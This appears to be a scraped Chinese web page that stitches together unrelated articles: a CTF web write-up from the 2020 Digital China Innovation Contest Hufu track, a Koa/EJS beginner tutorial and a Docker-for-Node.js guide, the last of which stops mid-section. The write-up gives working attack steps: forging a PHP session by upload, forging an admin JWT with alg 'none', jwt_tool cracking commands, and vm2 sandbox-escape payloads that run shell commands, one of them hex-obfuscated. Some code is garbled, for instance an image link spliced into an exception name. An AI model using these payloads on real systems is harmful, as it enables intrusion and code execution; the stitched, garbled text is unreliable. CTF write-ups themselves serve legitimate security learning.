整合營(yíng)銷服務(wù)商

          電腦端+手機(jī)端+微信端=數(shù)據(jù)同步管理

          免費(fèi)咨詢熱線:

          2020數(shù)字中國(guó)創(chuàng)新大賽-虎符網(wǎng)絡(luò)安全賽道丨Web Writeup

          文是i春秋論壇作家「OPLV1H」表哥參加2020數(shù)字中國(guó)創(chuàng)新大賽-虎符網(wǎng)絡(luò)安全賽道線上初賽的賽后總結(jié),關(guān)于Web的Writeup記錄,感興趣的小伙伴快來學(xué)習(xí)吧。

          1、hash_file — 是使用給定文件的內(nèi)容生成哈希值,和文件名稱無關(guān)。

          2、jwt令牌結(jié)構(gòu)和jwt_tools的使用。

          3、nodejs沙箱溢出進(jìn)行Getshell。


          正 文


          Web 1 BabyUpload

          直接貼出源碼

          <?php
          error_reporting(0);
          session_save_path("/var/babyctf/");
          session_start();
          require_once "/flag";
          highlight_file(__FILE__);
          if($_SESSION['username'] ==='admin')
          {
          $filename='/var/babyctf/success.txt';
          if(file_exists($filename)){
                  safe_delete($filename);
                  die($flag);
          }
          }
          else{
          $_SESSION['username'] ='guest';
          }
          $direction = filter_input(INPUT_POST, 'direction');
          $attr = filter_input(INPUT_POST, 'attr');
          $dir_path = "/var/babyctf/".$attr;
          if($attr==="private"){
          $dir_path .= "/".$_SESSION['username'];
          }
          if($direction === "upload"){
          try{
              if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
                  throw new RuntimeException('invalid upload');
              }
              $file_path = $dir_path."/".$_FILES['up_file']['name'];
              $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
              if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
                  throw new RuntimeException('invalid file path');
              }
              @mkdir($dir_path, 0700, TRUE);
              if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
                  $upload_result = "uploaded";
              }else{
                  throw new RuntimeException('error while saving');
              }
          } catch (RuntimeException $e) {
              $upload_result = $e->getMessage();
          }
          } elseif ($direction === "download") {
          try{
              $filename = basename(filter_input(INPUT_POST, 'filename'));
              $file_path = $dir_path."/".$filename;
              if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
                  throw new RuntimeException('invalid file path');
              }
              if(!file_exists($file_path)) {
                  throw new RuntimeException('file not exist');
              }
              header('Content-Type: application/force-download');
              header('Content-Length: '.filesize($file_path));    header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
              if(readfile($file_path)){
                  $download_result = "downloaded";
              }else{
                  throw new RuntimeException('error while saving');
              }
          } catch (Run![](https://xzfile.aliyuncs.com/media/upload/picture/20200422224456-d5ccdef2-84a7-1.png)timeException $e) {
              $download_result = $e->getMessage();
          }
          exit;
          }
          ?>

          題目大概的邏輯就是先將session存儲(chǔ)在/var/babyctf/中,如果session['username']==='admin',并且file_exists('/var/babyctf/success.txt')存在,則會(huì)顯出flag了,注意這里是file_exist函數(shù)。

          等于說是檢查有沒有這個(gè)路徑或者文件,這里為后面做了鋪墊。接下來就是提供了上傳和下載兩個(gè)功能,這里存在一處暗示性的代碼:

           $file_path = $dir_path."/".$_FILES['up_file']['name'];
           $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);

          因?yàn)槲覀冎溃瑂ession默認(rèn)的存儲(chǔ)名稱為sess_XXXXX(為PHPSESSID的值),那么我們先結(jié)合download來看一下自己的session,因?yàn)榉?wù)器端存儲(chǔ)的session內(nèi)容以及格式我們并不知道,查看一下自己的PHPSESSID對(duì)應(yīng)的session。

          這里session內(nèi)容的格式具有一定的迷惑性,查看hex發(fā)現(xiàn)前面還藏了個(gè)0x08的不可見字符,我們?nèi)绻胍獦?gòu)造時(shí)也需要修改第一個(gè)字符為不可見的0x08,有下載也有上傳,而且需要session['username']===admin,因此我們應(yīng)該需要構(gòu)造并且上傳一個(gè)session,并且知道其對(duì)應(yīng)的PHPSSEID,再回到暗示性代碼上:

          文件路徑為/var/babyctf/filename_xxxxxx(此處我們知道上傳的內(nèi)容,因此這部分可控)因此我們?nèi)绻麑ilename設(shè)為sess,那不就直接成為session文件了嗎,再利用得到的xxxxx替換原來的PHPSESSID,這樣就能die出flag了。


          步驟一:構(gòu)造sess文件

          sess文件的內(nèi)容直接將guest改為admin即可,但注意需要用winhex將第一個(gè)字符改成0x08。

          步驟二:構(gòu)造上傳表單,并且設(shè)置direction為uplaod,attr置空即可。

          <html>
          <head>
              <title></title>
          </head>
          <body>
              <form action="http://2709576a-448b-41c9-84bc-b5939c904ab9.node3.buuoj.cn" method="post" enctype="multipart/form-data">
                  <input type="text" name="attr" />
                  <br>
                  <input type="text" name="direction" />
                  <br>
                  <input type="file" name="upload_file" />
                  <br>
                  <input type="submit" />
          </body>
          </html>

          將sess上傳:

          我們可以根據(jù)上述download一樣,查看一下是否已經(jīng)成功上傳了sess_xxxx文件。

          步驟三:根據(jù)hash_file構(gòu)造的文件(即PHPSESSID值)進(jìn)行替換原來的PHPSESSID得到flag。

          Web 2 EasyLogin

          直接給登錄框了,首先進(jìn)行萬能密碼和掃描目錄的嘗試,沒有收獲,接下來F12查看源代碼,發(fā)現(xiàn)/static/js/app.js,果然存在,貼下源碼:

          const Koa = require('koa');
          const bodyParser = require('koa-bodyparser');
          const session = require('koa-session');
          const static = require('koa-static');
          const views = require('koa-views');
          
          const crypto = require('crypto');
          const { resolve } = require('path');
          
          const rest = require('./rest');
          const controller = require('./controller');
          
          const PORT = 3000;
          const app = new Koa();
          
          app.keys = [crypto.randomBytes(16).toString('hex')];
          global.secrets = [];
          
          app.use(static(resolve(__dirname, '.')));
          
          app.use(views(resolve(__dirname, './views'), {
            extension: 'pug'
          }));
          
          app.use(session({key: 'sses:aok', maxAge: 86400000}, app));
          
          // parse request body:
          app.use(bodyParser());
          
          // prepare restful service
          app.use(rest.restify());
          
          // add controllers:
          app.use(controller());
          
          app.listen(PORT);
          console.log(`app started at port ${PORT}...`);

          可知還存在rest.js和controller.js,看這兩個(gè)又能發(fā)現(xiàn)/controllers/api.js,貼一下關(guān)鍵的代碼:

          const crypto = require('crypto');
          const fs = require('fs')
          const jwt = require('jsonwebtoken')
          
          const APIError = require('../rest').APIError;
          
          module.exports = {
              'POST /api/register': async (ctx, next) => {
                  const {username, password} = ctx.request.body;
          
                  if(!username || username === 'admin'){
                      throw new APIError('register error', 'wrong username');
                  }
          
                  if(global.secrets.length > 100000) {
                      global.secrets = [];
                  }
          
                  const secret = crypto.randomBytes(18).toString('hex');
                  const secretid = global.secrets.length;
                  global.secrets.push(secret)
          
                  const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
          
                  ctx.rest({
                      token: token
                  });
          
                  await next();
              },
          
              'POST /api/login': async (ctx, next) => {
                  const {username, password} = ctx.request.body;
          
                  if(!username || !password) {
                      throw new APIError('login error', 'username or password is necessary');
                  }
          
                  const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
          
                  const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
          
                  console.log(sid)
          
                  if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
                      throw new APIError('login error', 'no such secret id');
                  }
          
                  const secret = global.secrets[sid];
          
                  const user = jwt.verify(token, secret, {algorithm: 'HS256'});
          
                  const status = username === user.username && password === user.password;
          
                  if(status) {
                      ctx.session.username = username;
                  }
          
                  ctx.rest({
                      status
                  });
          
                  await next();
              },
          
              'GET /api/flag': async (ctx, next) => {
                  if(ctx.session.username !== 'admin'){
                      throw new APIError('permission error', 'permission denied');
                  }
          
                  const flag = fs.readFileSync('/flag').toString();
                  ctx.rest({
                      flag
                  });
          
                  await next();
              },

          這就涉及到知識(shí)盲區(qū)了,后來復(fù)現(xiàn)發(fā)現(xiàn)是jwt的相關(guān)知識(shí),在這里整理一下:

          JSON Web令牌以緊湊的形式由三部分組成,這些部分由點(diǎn)(.)分隔,分別是:

          • 頭部(Header)
          • 有效載荷(Payload)
          • 簽名(Signature)

          因此,JWT通常形式是xxxxx.yyyyy.zzzzz。


          頭部(Header)

          頭部用于描述關(guān)于該JWT的最基本的信息,通常由兩部分組成:令牌的類型(即JWT)和所使用的簽名算法。

          例如:

          {"alg": "HS256","typ": "JWT"}

          然后,此JSON被Base64Url編碼以形成JWT的第一部分。


          有效載荷(Payload)

          令牌的第二部分是載荷,放置了 token 的一些基本信息,以幫助接受它的服務(wù)器來理解這個(gè) token。同時(shí)還可以包含一些自定義的信息,用戶信息交換。

          載荷示例可能是:

          {"sub": "1234567890","name": "John Doe","admin": true}

          然后,對(duì)載荷進(jìn)行Base64Url編碼,以形成JSON Web令牌的第二部分。


          簽名(Signature)

          要?jiǎng)?chuàng)建簽名部分,您必須獲取編碼的頭部,編碼的有效載荷,密鑰,頭部中指定的算法,并對(duì)其進(jìn)行簽名。

          例如,如果要使用HMAC SHA256算法,則將通過以下方式創(chuàng)建簽名:

          HMACSHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload),secret)

          簽名用于驗(yàn)證消息在整個(gè)過程中沒有更改,并且對(duì)于使用私鑰進(jìn)行簽名的令牌,它還可以驗(yàn)證JWT的發(fā)送者是它所說的真實(shí)身份。

          但是在這里卻存在個(gè)問題,const secret = global.secrets[sid];這里通過全局變量設(shè)置了一個(gè)secret并作為密鑰進(jìn)行簽名,而簽名算法保證了JWT在傳輸?shù)倪^程中不被惡意用戶修改但是header中的alg字段可被修改為none,一些JWT庫支持none算法,即沒有簽名算法,當(dāng)alg為none時(shí)后端不會(huì)進(jìn)行簽名校驗(yàn)。

          但是簽名不是我們能夠直接控制的,但是sid我們是可以控制的,如果在這里我們將sid設(shè)置為0.1,可以成功滿足條件并繞過,使得secret是不存在的,也就是null。這里就能直接使用jwt_tools進(jìn)行生成。

          而我們知道有關(guān)jwt token的攻擊方法其實(shí)分為三種:

          1、將簽名算法改為none

          2、將RS256算法改為HS256(非對(duì)稱密碼算法=>對(duì)稱密碼算法)

          • HS256算法使用密鑰為所有消息進(jìn)行簽名和驗(yàn)證。
          • 而RS256算法則使用私鑰對(duì)消息進(jìn)行簽名并使用公鑰進(jìn)行身份驗(yàn)證。
          • 如果將算法從RS256改為HS256,則后端代碼將使用公鑰作為密鑰,然后使用HS256算法驗(yàn)證簽名。
          • 由于攻擊者有時(shí)可以獲取公鑰,因此,攻擊者可以將頭部中的算法修改為HS256,然后使用RSA公鑰對(duì)數(shù)據(jù)進(jìn)行簽名。

          3、破解HS256(對(duì)稱加密算法)密鑰

          這里說明一下jwt-tools的用法


          破解密鑰(HMAC算法)

           python3 jwt_tool.py JWT_HERE -C -d dictionary.txt

          嘗試使用“無”算法來創(chuàng)建未驗(yàn)證的令牌:

          python3 jwt_tool.py JWT_HERE -A

          我們可以交互方式篡改標(biāo)頭,有效負(fù)載和簽名:

          $python3 jwt_tool.py JWT_HERE(jwt token) -T

          得到j(luò)wt

          token:eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6IjAuMiIsInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTU4NzU2MDY0Nn0

          只需要修改有效負(fù)載,然后最后將標(biāo)頭alg設(shè)為none,就會(huì)得到篡改后的jwt token,此時(shí)服務(wù)器也不會(huì)使用簽名校驗(yàn),這樣就成功偽造admin,就能調(diào)用api/getflag( ),得到flag。


          Web 3 JustEscape

          這個(gè)題移花接木,得到run.php后告訴你:

          <?php
          if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
              $code = $_GET['code'];
              echo eval(code);
          } else {
              highlight_file(__FILE__);
          }
          ?>

          隨便輸個(gè)函數(shù)卻給我返回SyntaxError,欺負(fù)我沒學(xué)過JS。不過結(jié)合前文提示,確實(shí)不是PHP,而是nodejs寫的,這就涉及到知識(shí)盲區(qū)了,沒錯(cuò)全是知識(shí)盲區(qū)。復(fù)現(xiàn)后才知道,原來nodejs是有沙箱逃逸的,可以google hack出HackIM 2019 Web的一道題和這個(gè)題類似。


          解法1

          這里我們需要知道加載的模塊,根據(jù)google hack學(xué)到的,code=Error( ).stack

          的確是設(shè)置了vm的模塊,直接去github上找vm2有的issues,然后試試。找到了幾個(gè),payload一打過去,全給我搞出鍵盤,類比python沙箱逃逸,應(yīng)該也是ban了一些函數(shù),和其他大佬討論發(fā)現(xiàn)既然是禁函數(shù),那如果我code設(shè)置為數(shù)組,不是就可以繞過禁函數(shù)了嗎?

          接下來直接開找,issues上是breakout的應(yīng)該都是能逃逸的payload,結(jié)果發(fā)現(xiàn):

          說是非法return,那就刪掉return試試,發(fā)現(xiàn)能夠成功逃逸,實(shí)現(xiàn)RCE。最后flag在根目錄下,直接讀取即可。

          payload:?code[]=try{Buffer.from(new Proxy({}, {getOwnPropertyDescriptor(){throw f=>f.constructor("return process")();}}));}catch(e){ e(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();}


          解法2

          類比python的沙箱逃逸,如果一些進(jìn)制轉(zhuǎn)換的函數(shù)沒有被禁止,我們應(yīng)該是可以通過一些拼接來得到一些命令,還是能夠繞過實(shí)行RCE。這里學(xué)習(xí)了其他大佬的解法,發(fā)現(xiàn)可以通過十六進(jìn)制編碼來進(jìn)行關(guān)鍵字繞過:

          即將一些關(guān)鍵字來進(jìn)行16進(jìn)制編碼:(vm2倉庫下的issues里面將關(guān)鍵字編碼成16進(jìn)制

          payload=(function(){TypeError[`x70x72x6fx74x6fx74x79x70x65`][`x67x65x74x5fx70x72x6fx63x65x73x73`]=f=>fx63x6fx6ex73x74x72x75x63x74x6fx72();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){returne[x67x65x74x5fx70x72x6fx63x65x73x73](()=>{}).mainModule.require((`x63x68x69x6cx64x5fx70x72x6fx63x65x73x73`))x65x78x65x63x53x79x6ex63.toString();}})()

          注:文章素材來源于i春秋社區(qū), 以上是個(gè)人關(guān)于本次比賽的一些解題思路,歡迎交流補(bǔ)充。

          js

          簡(jiǎn)介

          中文官網(wǎng) https://ejs.bootcss.com/

          npm https://www.npmjs.com/package/ejs

          github https://github.com/mde/ejs

          官網(wǎng) http://ejs.co/

          安裝

          npm install --save ejs

          下面接著創(chuàng)建package.json

          npm init

          繼續(xù)安裝koa

          網(wǎng)址 https://koa.bootcss.com/

          github https://github.com/koajs/koa

          官網(wǎng) https://koajs.com/

          npm https://www.npmjs.com/package/koa

          npm --install --save koa

          koa2基礎(chǔ)

          架設(shè)http服務(wù)器

          const koa = require('koa');

          const app = new koa();

          app.listen(3000);

          輸入網(wǎng)址 http://127.0.0.1:3000/ 即可完成假設(shè)

          輸出hello world

          const koa = require('koa');

          const app = new koa();

          const main = ctx => {

          ctx.response.body = "hello world";

          }

          app.use(main);

          app.listen(3000);

          上方是回調(diào),將會(huì)使用main,main進(jìn)行回調(diào)一個(gè)匿名函數(shù),完成body的設(shè)置。

          ctx.response

          代表著一個(gè)http的請(qǐng)求

          不同的請(qǐng)求返回不同的類型

          const koa = require('koa');

          const app = new koa();

          const main = ctx => {

          if (ctx.request.accepts('xml')) {

          ctx.response.type = 'xml';

          ctx.response.body = '<data>hello world</data>';

          } else if (ctx.request.accepts('json')) {

          ctx.response.type = 'json';

          ctx.response.body = {'data': 'hello world'};

          } else if (ctx.request.accepst('html')) {

          ctx.response.type = 'html';

          ctx.response.body = '<p>hello world</p>'

          } else {

          ctx.response.type = 'text';

          ctx.response.body = 'hello world';

          }

          }

          app.use(main);

          app.listen(3000);

          ps 使用https://www.getpostman.com/ 編輯http請(qǐng)求,發(fā)送http請(qǐng)求

          即可完成。

          網(wǎng)頁模板

          使用fs模塊,使用流,將客戶端和文件之間建立流的關(guān)系,然后將其對(duì)接

          const koa = require('koa');

          const fs = require('fs');

          const app = new koa();

          const main = ctx => {

          ctx.response.type = 'html';

          ctx.response.body = fs.createReadStream('./index.html'); // 創(chuàng)建一個(gè)流,將流進(jìn)行對(duì)接

          }

          app.use(main);

          app.listen(3000);

          路由

          ctx.request.path

          ctx.request.path 外加if語句實(shí)現(xiàn)路由

          使用koa-route

          繼續(xù)下載

          npm install --save koa-route

          編寫代碼

          const koa = require('koa');

          const route = require('koa-route');

          const app = new koa();

          const about = ctx => {

          ctx.response.type = 'html';

          ctx.response.body = '<h2>hello world</h2>'

          }

          const main = ctx => {

          ctx.response.type = 'html';

          ctx.response.body = 'hello world'

          }

          app.use(route.get('/', main));

          app.use(route.get('/about', about));

          app.listen(3000);

          訪問

          http://127.0.0.1:3000/about

          http://127.0.0.1:3000/

          完成路由

          靜態(tài)資源

          koa-static

          npm https://www.npmjs.com/package/koa-static

          接著下載安裝

          npm i koa-static

          編寫入口文件。

          const koa = require('koa');

          const app = new koa();

          const server = require('koa-static'); // 靜態(tài)資源

          const route = require('koa-route');

          const static = server(__dirname + '/public');

          const about = ctx => {

          ctx.response.type = 'html';

          ctx.response.body = '<h2>hello world</h2>';

          }

          app.use(route.get('/about', about));

          app.use(static);

          app.listen(3000);

          訪問 http://127.0.0.1:3000/1.png 將會(huì)返回public下的1.png文件

          訪問 http://127.0.0.1:3000/about 將會(huì)被路由進(jìn)行捕獲

          重定向

          const koa = require('koa');

          const app = new koa();

          const server = require('koa-static'); // 靜態(tài)資源

          const route = require('koa-route');

          const static = server(__dirname + '/public');

          const about = ctx => {

          ctx.response.type = 'html';

          ctx.response.body = '<h2>hello world</h2>';

          }

          const redirect = ctx => {

          ctx.response.redirect('/');

          ctx.response.body = '<a href="/">Index Page</a>'

          };

          app.use(route.get('/about', about));

          app.use(route.get('/redirect', redirect));

          app.use(static);

          app.listen(3000);

          上方完成了一次頁面的跳轉(zhuǎn)

          中間件

          const koa = require('koa');

          const app = new koa();

          const server = require('koa-static'); // 靜態(tài)資源

          const route = require('koa-route');

          const static = server(__dirname + '/public');

          const about = ctx => {

          ctx.response.type = 'html';

          ctx.response.body = '<h2>hello world</h2>';

          }

          const redirect = ctx => {

          ctx.response.redirect('/');

          ctx.response.body = '<a href="/">Index Page</a>'

          };

          const main = ctx => {

          ctx.response.body = 'hello world';

          }

          // 中間件

          const logger = (ctx, next) => {

          console.log('info!')

          next(); // 繼續(xù)調(diào)用下一個(gè)中間件

          }

          app.use(logger);

          app.use(route.get('/', main));

          app.use(route.get('/about', about));

          app.use(route.get('/redirect', redirect));

          app.use(static);

          app.listen(3000);

          上方的加載所有的都會(huì)使用一個(gè)中間件

          中間件棧

          中間件棧實(shí)現(xiàn)的是一個(gè)先進(jìn)后出

          PS C:\Users\mingm\Desktop\ejs> node index.js

          > one

          > two

          > three

          < three

          < two

          < one

          const koa = require('koa');

          const app = new koa();

          const server = require('koa-static'); // 靜態(tài)資源

          const route = require('koa-route');

          const static = server(__dirname + '/public');

          const about = ctx => {

          ctx.response.type = 'html';

          ctx.response.body = '<h2>hello world</h2>';

          }

          const redirect = ctx => {

          ctx.response.redirect('/');

          ctx.response.body = '<a href="/">Index Page</a>'

          };

          const main = ctx => {

          ctx.response.body = 'hello world';

          }

          // 中間件

          const one = (ctx, next) => {

          console.log('> one');

          next(); // 裝載下一個(gè)中間件

          console.log('< one');

          }

          const two = (ctx, next) => {

          console.log('> two');

          next();

          console.log('< two');

          }

          const three = (ctx, next) => {

          console.log('> three');

          next();

          console.log('< three');

          }

          app.use(one);

          app.use(two);

          app.use(three);

          app.use(route.get('/', main));

          app.use(route.get('/about', about));

          app.use(route.get('/redirect', redirect));

          app.use(static);

          app.listen(3000);

          異步

          是滴,node.js最重要的是異步,以及回調(diào)

          es7的異步函數(shù)

          一段代碼直接說明

          function resolveAfter2Seconds() {

          return new Promise(resolve => {

          setTimeout(() => {

          resolve('resolved');

          console.log('我是執(zhí)行結(jié)果4')

          }, 2000);

          });

          }

          async function asyncCall() {

          console.log('calling');

          console.log('我是執(zhí)行結(jié)果3')

          var result = await resolveAfter2Seconds();

          console.log(result);

          console.log('我是執(zhí)行結(jié)果2');

          // expected output: 'resolved'

          }

          asyncCall();

          console.log('我是執(zhí)行結(jié)果1');

          輸出結(jié)果為

          > "calling"

          > "我是執(zhí)行結(jié)果3"

          > "我是執(zhí)行結(jié)果1"

          > "我是執(zhí)行結(jié)果4"

          > "resolved"

          > "我是執(zhí)行結(jié)果2"

          運(yùn)行過程為先運(yùn)行函數(shù)asyncCall,接著輸出calling和結(jié)果3,繼續(xù)到await語句的時(shí)候,為一個(gè)回調(diào)的語句,此時(shí)主線程,因?yàn)橛龅絘wait語句,將會(huì)直接進(jìn)行輸出執(zhí)行結(jié)果1的內(nèi)容,等待著resolveAfter2Seconds后執(zhí)行完畢,進(jìn)行回調(diào)。(Promise 對(duì)象為一個(gè)暫時(shí)保存回調(diào)內(nèi)容的一個(gè)對(duì)象)Promise對(duì)象將會(huì)暫時(shí)保存運(yùn)行的結(jié)果,運(yùn)行結(jié)果為結(jié)果4和resolved,等待執(zhí)行完畢以后,將會(huì)把暫時(shí)保存的內(nèi)容,賦值給result變量,由于此時(shí)已經(jīng)執(zhí)行完畢,將會(huì)繼續(xù)運(yùn)行下方的內(nèi)容,輸出result中的內(nèi)容,result中的內(nèi)容為異步的執(zhí)行的內(nèi)容,接著,輸出結(jié)果2,完成運(yùn)行。

          koa2中運(yùn)行異步

          const koa = require('koa');

          const fs = require('fs');

          const app = new koa();

          const server = require('koa-static'); // 靜態(tài)資源

          const route = require('koa-route');

          // 路由處理函數(shù)

          const static = server(__dirname + '/public');

          const main = async ctx => {

          ctx.response.type = 'html';

          console.log('one one one one');

          ctx.response.body = await file();

          console.log('one one one');

          };

          // 異步函數(shù)

          function file() {

          return new Promise((resolve, reject) => {

          fs.readFile('./index.html', 'utf8', (err, data) => {

          if (err) {

          reject(console.log(err));

          } else {

          resolve(data);

          console.log('one one');

          }

          })

          })

          }

          // 中間件

          const one = async (ctx, next) => {

          console.log('one');

          await next();

          console.log('one one one one one one ')

          }

          app.use(one);

          app.use(route.get('/', main));

          console.log('one one one one one one ')

          app.use(static);

          app.listen(3000);

          結(jié)果

          oen one one one one

          one

          one one one one

          one one

          one one one

          one one one one one one

          所有的都要使用異步操作,

          由于全部都是異步,將會(huì)先調(diào)用最后的一個(gè),

          接著 調(diào)用中間件的內(nèi)容。

          由于中間件也為異步,將會(huì)繼續(xù)異步main,

          由于main也為異步,將會(huì)調(diào)用異步函數(shù)file中的內(nèi)容。

          接著,按照上面的順序倒著回來,最后完成中間件

          ps 由于中間件的異步,這樣就成功的模擬的中間件的正常的模型

          正常的中間件

          const koa = require('koa');

          const app = new koa();

          const main = ctx => {

          ctx.response.type = 'html';

          console.log('3')

          ctx.response.body = '<h1>hello world</h1>'

          console.log('4');

          };

          const one = (ctx, next) => {

          console.log('info!');

          console.log('1')

          next();

          console.log('2')

          }

          app.use(one);

          app.use(main);

          app.listen(3000);

          運(yùn)行結(jié)果

          info!

          1

          3

          4

          2

          先進(jìn)去,等到全部執(zhí)行完成以后,在出來,中間件包裹著全部

          不加異步的中間件

          const koa = require('koa');

          const fs = require('fs');

          const app = new koa();

          const server = require('koa-static'); // 靜態(tài)資源

          const route = require('koa-route');

          // 路由處理函數(shù)

          const static = server(__dirname + '/public');

          const main = async ctx => {

          ctx.response.type = 'html';

          console.log('one one one one');

          ctx.response.body = await file();

          console.log('one one one');

          };

          // 異步函數(shù)

          function file() {

          return new Promise((resolve, reject) => {

          fs.readFile('./index.html', 'utf8', (err, data) => {

          if (err) {

          reject(console.log(err));

          } else {

          resolve(data);

          console.log('one one');

          }

          })

          })

          }

          // 中間件

          const one = (ctx, next) => {

          console.log('one');

          next();

          console.log('one one one one one one ')

          }

          app.use(one);

          app.use(route.get('/', main));

          console.log('oen one one one one');

          app.use(static);

          app.listen(3000);

          運(yùn)行結(jié)果

          oen one one one one

          one

          one one one one

          one one one one one one

          one one

          one one one

          可以發(fā)現(xiàn),變現(xiàn)的'溢出'

          中間件的合成

          koa-compose

          npm https://www.npmjs.com/package/koa-compose

          下載安裝

          比較簡(jiǎn)單,看文檔就行。

          錯(cuò)誤處理

          同try類似使用throw拋出錯(cuò)誤。

          cookies

          ctx.cookies 用來讀取cookies客戶端發(fā)送的cookies內(nèi)容

          const koa = require('koa');

          const app = new koa();

          const route = require('koa-route');

          const main = (ctx) => {

          const n = Number(ctx.cookies.get('view') || 0) + 1; // 獲取客戶端的cookice,如果不存在,直接取0,括號(hào)內(nèi)的為一個(gè)選擇語句,然后將其cookice進(jìn)行加1操作

          ctx.cookies.set('view', n); // 發(fā)送讀取到的cookice

          ctx.response.type = 'html';

          ctx.response.body = n + 'views'; // 將結(jié)果輸出

          }

          app.use(route.get('/', main));

          app.listen(3000);

          完成操作

          表單操作

          即post和get操作

          繼續(xù)使用模塊 koa-body

          github https://github.com/dlau/koa-body

          npm https://www.npmjs.com/package/koa-body

          安裝

          npm i koa-body

          支持json格式數(shù)據(jù)的提交哦

          const Koa = require('koa');

          const koaBody = require('koa-body');

          const app = new Koa();

          const main = ctx => {

          ctx.body = JSON.stringify(ctx.request.body);

          };

          app.use(koaBody());

          app.use(main);

          app.listen(3000);

          客戶端發(fā)送

          name=Jack

          格式為

          text/plain

          返回的都為字符串

          文件上傳暫時(shí)搞不定。

          ejs

          需要先安裝koa模板中間件

          官網(wǎng) https://www.npmjs.com/package/koa-views

          npm install --save koa-views

          index.js文件

          const koa = require('koa');

          const views = require('koa-views');

          const path = require('path');

          const app = new koa();

          // 加載模板引擎

          app.use(views(path.join(__dirname, './view'), { extension: 'ejs' }));

          const main = async ctx => {

          let title = 'hello';

          await ctx.render('index', {title})

          }

          app.use(main);

          app.listen(3000);

          view下的index.ejs文件

          <!doctype html>

          <html>

          <head>

          <title><%= title %></title>

          </head>

          <body>

          <h1><%= title %></h1>

          <p>hello world</p>

          </body>

          </html>

          訪問http://127.0.0.1:3000/

          內(nèi)容完成動(dòng)態(tài)的更新

          ps 上傳文件還是不太會(huì),無奈

          docker容器的出現(xiàn),徹底的改變了應(yīng)用程序的運(yùn)行方式,而nodejs同樣的也顛覆了后端應(yīng)用程序的開發(fā)模式。兩者結(jié)合起來,就會(huì)產(chǎn)生意想不到的作用。

          本文將會(huì)以一個(gè)常用的nodejs程序?yàn)槔治鲈趺词褂胐ocker來構(gòu)建nodejs image.

          準(zhǔn)備nodejs應(yīng)用程序

          一個(gè)標(biāo)準(zhǔn)的nodejs程序,需要一個(gè)package.json文件來描述應(yīng)用程序的元數(shù)據(jù)和依賴關(guān)系,然后通過npm install來安裝應(yīng)用的依賴關(guān)系,最后通過node app.js來運(yùn)行程序。

          本文將會(huì)創(chuàng)建一個(gè)簡(jiǎn)單的koa應(yīng)用程序,來說明docker的使用。

          首先創(chuàng)建package.json文件:

          {
            "name": "koa-docker",
            "description": "怎么將nodejs koa程序打包成docker應(yīng)用",
            "version": "0.0.1",
            "dependencies": {
              "ejs": "^2.5.6",
              "fs-promise": "^2.0.3",
              "koa": "^2.2.0",
              "koa-basic-auth": "^2.0.0",
              "koa-body": "^4.0.8",
              "koa-compose": "^4.0.0",
              "koa-csrf": "^3.0.6",
              "koa-logger": "^3.0.0",
              "@koa/router": "^8.0.5",
              "koa-session": "^5.0.0",
              "koa-static": "^3.0.0",
              "koa-views": "^6.0.2"
            },
            "scripts": {
              "test": "NODE_ENV=test mocha --harmony --reporter spec --require should */test.js",
              "lint": "eslint ."
            },
            "engines": {
              "node": ">= 7.6"
            },
            "license": "MIT"
          }
          
          

          上面的package.json文件制定了項(xiàng)目的依賴。

          接下來,我們需要使用npm install來安裝項(xiàng)目的依賴,安裝好的項(xiàng)目依賴文件將會(huì)放在本地的node_modules文件夾中。

          然后我們就可以編寫服務(wù)程序了:

          const Koa = require('koa');
          const app = module.exports = new Koa();
          
          app.use(async function(ctx) {
            ctx.body = 'Hello www.flydean.com';
          });
          
          if (!module.parent) app.listen(3000);
          
          

          上面是一個(gè)非常簡(jiǎn)單的koa服務(wù)端程序,監(jiān)聽在3000端口,并且對(duì)每次請(qǐng)求都會(huì)返回‘Hello www.flydean.com’。

          運(yùn)行node app.js 我們就可以開啟web服務(wù)了。

          好了,我們的服務(wù)程序搭建完畢,接下來,我們看一下docker打包nodejs程序的最佳實(shí)踐。

          創(chuàng)建Dockerfile文件

          為了創(chuàng)建docker image,我們需要一個(gè)Dockerfile文件,作為該image的描述。

          我們一步一步的講解,如何創(chuàng)建這個(gè)Dockerfile文件。

          1. 引入base image。

          為了運(yùn)行docker程序,我們需要指定一個(gè)基本的image,比如操作系統(tǒng),node為我們提供了一個(gè)封裝好的image,我們可以直接引用:

          FROM node:12
          

          我們指定了node的12版本,這個(gè)版本已經(jīng)安裝好了最新的LTS node 12,使用這個(gè)image我們就可以不需要自己來安裝node的相關(guān)環(huán)境,非常的方便。

          1. 指定工作目錄

          有了image,接下來就需要我們指定docker中的工作目錄:

          # Create app directory
          WORKDIR /data/app
          
          1. 安裝node_modules

          接下來我們需要將package*.json文件拷貝進(jìn)image中,并且運(yùn)行npm install來安裝依賴庫:

          COPY package*.json ./
          
          RUN npm install
          

          上面我們拷貝的是package*.json,因?yàn)槿绻覀儽镜剡\(yùn)行過npm install命令的話,將會(huì)生成一個(gè)pacakge-lock.json文件。這個(gè)文件是為了統(tǒng)一依賴包版本用的。我們需要一并拷貝。

          拷貝完之后就可以運(yùn)行npm install來安裝依賴包了。

          問題?為什么我們只拷貝了pacakge.json,而不是拷貝整個(gè)工作目錄呢?

          回答:docker file中的每一個(gè)命令,都會(huì)導(dǎo)致創(chuàng)建一個(gè)新的layer,上面的docker file中,只要pakage.json沒有被修改,新創(chuàng)建的docker image其實(shí)是可以共享layer緩存的。

